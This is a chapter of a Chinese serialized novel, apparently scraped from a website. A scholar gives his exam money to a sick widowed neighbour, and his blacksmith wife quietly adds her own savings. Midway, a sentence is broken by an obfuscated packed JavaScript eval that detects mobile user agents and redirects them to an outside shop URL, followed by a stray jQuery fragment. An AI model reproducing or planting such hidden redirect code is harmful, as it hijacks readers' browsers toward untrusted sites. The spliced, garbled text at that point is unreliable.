入冬之后,柳含烟的咳嗽越发重了。
周砚书是在一个起风的夜里听到的,隔壁的咳嗽声隔着院墙传过来,一阵接一阵,咳得急了就断两声,像是要把肺管子都呕出来。他本来已经躺下了,听见那咳嗽声躺着没动,过了片刻坐起来披了衣裳,摸黑到厨房倒了碗热水,端着去了隔壁。
柳含烟来开门的时候披着一件薄薄的夹袄,脸烧得通红,嘴唇干得起皮。她看见周砚书端着热水站在门口,愣了一下,眼眶随即就红了。
"周相公……这么晚了怎么……"
"听见你咳得厉害。"周砚书把热水递给她,伸手在她额头上探了一下,烫的。"你发热了,请大夫了吗?"
柳含烟摇头,一边咳一边说:"没事……老毛病了,过两天就好……"
周砚书皱着眉看着她单薄的背影转身进屋,跟她进了堂屋才发现她屋里冷得像冰窖,炭盆里火星子都没了。厨房灶台上搁着半碗凉透了的粥,菜橱里除了两碟咸菜之外空空荡荡的。
他环顾了一圈,心里像被什么攥住了。
"你吃什么药?"他问。
柳含烟喝了口热水,咳声缓了些,低声说:"有方子,抓两副就好了……只是前几日托人捎信回娘家花了不少钱,手头紧了些……没舍得去抓。"
她说完又咳了一串,弯着腰拿袖子捂着嘴,肩膀抖得像风里的叶子。
周砚书站了片刻,从怀里摸出钱袋来掂了掂。里头是他明春会试的盘缠,宋云铮替他攒了大半年的,沉甸甸一小袋。他解开系绳数了几块碎银子出来,搁在桌上推过去。
"拿去抓药,别拖着。"
柳含烟看着桌上那几块碎银子,眼睛瞪大了,使劲摇头:"不行不行,周相公的钱是留着赶考用的,我不能要……"
"病好了比什么都强。"周砚书把钱又往前推了推,"你先拿去看病,不够再跟我说。"
柳含烟盯着那几块银子看了很久,眼眶里的泪终于兜不住了,顺着脸颊淌下来。她拿袖子擦了擦,又哭又笑地抬脸看他,声音打着颤:"周相公……你对我这么好,我……我拿什么还你……"
"不用还。"周砚书站起来,"我去把炭盆给你点上,你喝了水早点歇息。明天一早我替你去镇上抓药。"
他蹲下来替她生炭盆的时候,柳含烟站在他身后,把桌上的碎银子一块一块捡起来攥在手心里。银子被她捏得发热,棱角硌着掌心的软肉,那种细碎的疼带着一股子甜,从手心一路漫到了心口。
周砚书生完炭盆起身要走的时候,柳含烟忽然从背后轻轻拉住了他的袖子。
"周相公,"她的声音低得几乎听不见,"你……你别走好不好?我害怕。"
周砚书回过头,看见她站在昏暗的灯火里,披着那件薄夹袄,脸烧得红红的,眼睛被泪泡得又肿又亮。她缩着肩膀站在那儿,像一只被雨打湿了羽毛的雀鸟,风一吹就要散了。
周砚书心口最软的地方被狠狠掐了一下。
他走回去,在她面前的椅子上坐下了。
"好,我不走。"
柳含烟破涕为笑,裹紧了夹袄在旁边的椅子上缩着坐,抱着那碗热水一小口一小口地喝。炭盆里的火渐渐旺起来,橘红色的暖光映着两个人的脸,把空气中的寒气一点一点驱散了。
柳含烟喝了半碗热水,话渐渐多了起来。她说她娘家本来也是殷实人家,爹爹在县里做着个小吏,给她说了这门亲事——那男人比她大了快二十岁,她嫁过去守了三年活寡便守成了真寡,婆家嫌她克夫,把她赶了出来。她一个人背着小包袱到了青石镇租下这间院子,靠给人绣花和弹琵琶挣些零碎银钱糊口。
说着说着她又哭了,眼泪啪嗒啪嗒掉进碗里,混着热水一起咽了下去。
"我命苦……周相公你是好人……你夫人也是好人……你们都是好人……"
周砚书坐在对面,听着她断断续续的哭诉,心里那点柔软的东西被一再揉搓,像一团发酵过了头的面团,蓬得快要溢出来。他伸手想拍拍她的肩安慰几句,可手伸了一半又缩了回去,最终只是说:"别哭了,先把病养好再说。"
柳含烟使劲点了点头,拿袖子擦干净脸上的泪,挤出一个勉强的笑来。那笑像雨后的天光,薄薄的,带着湿漉漉的亮。
后来炭盆烧尽了,周砚书起身告辞。柳含烟送他到门口,在门框后面探出半个身子看着他的背影消失在周家院门里。夜风把她的咳嗽声又送了过来,隔着院墙闷闷的,像什么东西在胸腔里碎掉又拼合。
周砚书回了自己卧房,轻手轻脚脱了外袍爬上床。宋云铮面朝里睡着,呼吸平稳,像是从头到尾没醒过。
可他躺下去的时候分明听见她翻了个身,面朝外侧了。
周砚书心里一跳,闭着眼没敢动。过了一会儿他听见宋云铮的呼吸又匀了,这才悄悄松了口气。
第二天一早他果然去药房替柳含烟抓了药,买了半斤红枣和一包红糖送过去。柳含烟开门时眼睛还肿着,但精神比昨晚好些了,看见他递过来的药包和糖,嘴唇哆嗦了半天,最后只说了一句"周相公大恩大德,我记一辈子"。
周砚书摆摆手走了,临走嘱咐她按时吃药,多喝热水。
他回到自家院子的时候宋云铮正在灶台边烧水,见他推门进来,目光在他空了的钱袋位置停了一瞬。
周砚书顺着她的目光低头看了看自己衣襟,那儿空空荡荡,钱袋鼓出来的形状没了。
他心知瞒不过去,但也没打算瞒。他昨天把钱给了柳含烟之后就没想过怎么跟宋云铮交代,此刻被她目光一扫,嗓子发干,想解释又不知道从何解释起。
宋云铮把烧开的水拎起来灌进暖壶里,问了一句:"钱呢?"
"……柳娘子病了,我给她拿了点碎银子抓药。"周砚书说完就等着宋云铮发火。
可宋云铮没发火。
她把暖壶盖子旋紧了放在桌上,拍了拍手上的水渍,说:"你那些钱是留着明年会试用的,给了她你用什么?"
周砚书被问住了。
宋云铮走到柜子前打开门,从里头摸出一个陶罐来。她掂了掂分量,打开盖子从里面数了几块碎银子出来,搁在桌上推到周砚书面前。
"拿去吧,"她说,"她既然病了就多看几副药,别给人钱给一半。病好不透又拖成个长的,到时候花的更多。"
周砚书看着桌上那几块碎银子,整个人像被人迎面泼了一碗冰水。
那是宋云铮的私房钱。她攒了多久他不知道,但那陶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834930|211396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
罐他见过,藏在衣柜最底层的旧衣裳底下,缠了三四层布。她自己的东西她从来舍不得花,连双新鞋都舍不得买,脚上那双靴子底磨得薄了大半她也没换。
她拿自己的私房钱,让他去给隔壁的女人看病。
"云铮……"周砚书的嗓子像被砂纸磨过一样粗粝。
宋云铮没看他,把陶罐重新包好放回衣柜底层,关上柜门。她转过去在灶台边收拾碗筷,声音平平地说:"拿去用吧,别给人知道是我给的。你也不想让她觉得你媳妇可怜她。"
周砚书攥着那几块银子站在堂屋里,暖壶里的热气在桌面上氤氲成一团模糊的白雾。他看着宋云铮背对着他洗碗的背影——粗布衣裳,宽肩膀,后颈黑黝黝的,跟三年前洞房花烛夜里他一抬头看见的那个背影一模一样。
三年来什么都没变。她替他攒钱、替他缝衣、替他操持一切,把最好的全给了他。他回头去拿了她的私房钱养另一个女人,她居然还又掏了一份出来让他把人家病看全。
周砚书闭了一下眼,把那几块银子捏得滚烫。
"谢谢。"他说。
宋云铮洗碗的手没停,水花溅在铁盆里哗啦啦响。她的声音混在水声里闷闷传出来:"不用谢。你好好读书,明年会试考上了比什么都强。我这点钱不算什么。"
周砚书站在原地,喉咙上下滚动了好几下,最终把银子揣进怀里,回了书房。
他坐在书案前把那几块碎银子掏出来放在桌上看了很久。银子成色一般,是宋云铮常年打铁攒下的那种散碎银角,边角还有被锤子砸过的浅浅凹痕,像是从某件铁器上熔下来的旧料里筛出来的。
他忽然想起她那双裹满布条的手。那些血泡里渗出来的,每一滴都是化成了这些碎银子的。
他把银子收进钱袋里,跟昨天给柳含烟的那些分开放了。柳含烟那份搁在钱袋右侧,宋云铮这份搁在左侧,中间隔着钱袋的那道缝线,清清楚楚把两堆东西分成了两截。
他对着那两道缝线看了很久,然后合上钱袋,锁进了书箱。
隔壁的咳嗽声缓了些,柳含烟大概吃了药睡下了。周家院子里安安静静的,宋云铮洗完碗进了小打铁间,不一会儿锤声又响了起来。叮叮当当的,在初冬干冷的空气里传出去很远。
周砚书坐在书房里,听着锤声和隔壁偶尔传来的咳嗽声,分不清哪个更硌人。
他想起宋云铮方才递银子过来时看他的那个眼神。
平得像一面没风的湖。没有质问、没有委屈、没有愤怒、甚至连失望都看不出来。她只是看着他,把钱推过来,然后转身去做她的事。
那个眼神比任何责骂都让他难受。
因为那里面什么都没有了。她连失望都懒得表露给他看了。
周砚书把脸埋进手掌里,掌心贴着紧闭的眼皮,黑暗里嗡嗡的,全是锤声的回响。
小打铁间里的宋云铮把一块烧红的铁料夹出来搁在铁砧上,举锤砸下去。火星飞溅到围裙上又烧出一个小洞,她浑然不觉,一锤接着一锤砸得又稳又沉。
那柄玄铁剑靠在墙角,剑身上落了一层薄薄的灰,剑柄上她亲手缠的防滑绳在火光里泛着暗色的油光。
她看了一眼那柄剑,然后收回目光,继续砸手里的铁。